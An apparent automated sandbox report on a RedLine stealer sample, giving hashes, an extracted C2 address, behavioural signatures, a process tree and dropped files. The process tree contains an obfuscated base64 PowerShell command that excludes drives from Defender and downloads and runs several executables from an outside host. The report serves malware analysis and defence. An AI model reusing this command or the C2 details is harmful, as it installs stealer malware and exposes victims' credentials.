Analysis

  • max time kernel
    191s
  • max time network
    239s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 13:13

General

  • Target

    17855519b9e1bde7cabf66a422b5671d4d462968.exe

  • Size

    365KB

  • MD5

    ee244310289c82ebe8c73cfd83329f49

  • SHA1

    17855519b9e1bde7cabf66a422b5671d4d462968

  • SHA256

    702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

  • SHA512

    20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b

  • SSDEEP

    6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
    "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3108
        • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
          "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
          4⤵
          • Executes dropped EXE
          PID:2444
        • C:\Users\Admin\AppData\Local\Temp\new2.exe
          "C:\Users\Admin\AppData\Local\Temp\new2.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1768
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            5⤵
              PID:4144
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 156
              5⤵
              • Program crash
              PID:4536
          • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
            "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
            4⤵
            • Executes dropped EXE
            PID:800
          • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
            "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
            4⤵
              PID:2340
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 152
          2⤵
          • Program crash
          PID:1596
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1972 -ip 1972
        1⤵
          PID:228
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1768 -ip 1768
          1⤵
            PID:2884

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • memory/800-176-0x0000000002292000-0x0000000002796000-memory.dmp

                  Filesize

                  5.0MB

                • memory/2444-165-0x0000000004E80000-0x0000000004F12000-memory.dmp

                  Filesize

                  584KB

                • memory/2444-162-0x00000000003D0000-0x000000000053C000-memory.dmp

                  Filesize

                  1.4MB

                • memory/3100-139-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/3100-133-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/3108-146-0x0000000006110000-0x000000000612E000-memory.dmp

                  Filesize

                  120KB

                • memory/3108-148-0x0000000074B00000-0x0000000074B4C000-memory.dmp

                  Filesize

                  304KB

                • memory/3108-154-0x00000000079E0000-0x00000000079EE000-memory.dmp

                  Filesize

                  56KB

                • memory/3108-155-0x0000000007A30000-0x0000000007A4A000-memory.dmp

                  Filesize

                  104KB

                • memory/3108-156-0x0000000007A20000-0x0000000007A28000-memory.dmp

                  Filesize

                  32KB

                • memory/3108-157-0x0000000007B40000-0x0000000007B62000-memory.dmp

                  Filesize

                  136KB

                • memory/3108-158-0x0000000008A20000-0x0000000008FC4000-memory.dmp

                  Filesize

                  5.6MB

                • memory/3108-152-0x0000000007820000-0x000000000782A000-memory.dmp

                  Filesize

                  40KB

                • memory/3108-151-0x00000000077B0000-0x00000000077CA000-memory.dmp

                  Filesize

                  104KB

                • memory/3108-150-0x0000000007DF0000-0x000000000846A000-memory.dmp

                  Filesize

                  6.5MB

                • memory/3108-149-0x00000000075F0000-0x000000000760E000-memory.dmp

                  Filesize

                  120KB

                • memory/3108-153-0x0000000007A70000-0x0000000007B06000-memory.dmp

                  Filesize

                  600KB

                • memory/3108-147-0x0000000007610000-0x0000000007642000-memory.dmp

                  Filesize

                  200KB

                • memory/3108-145-0x0000000005CA0000-0x0000000005D06000-memory.dmp

                  Filesize

                  408KB

                • memory/3108-144-0x0000000005BC0000-0x0000000005C26000-memory.dmp

                  Filesize

                  408KB

                • memory/3108-143-0x0000000005310000-0x0000000005332000-memory.dmp

                  Filesize

                  136KB

                • memory/3108-142-0x0000000005420000-0x0000000005A48000-memory.dmp

                  Filesize

                  6.2MB

                • memory/3108-141-0x0000000001030000-0x0000000001066000-memory.dmp

                  Filesize

                  216KB

                • memory/4144-171-0x0000000000400000-0x0000000000420000-memory.dmp

                  Filesize

                  128KB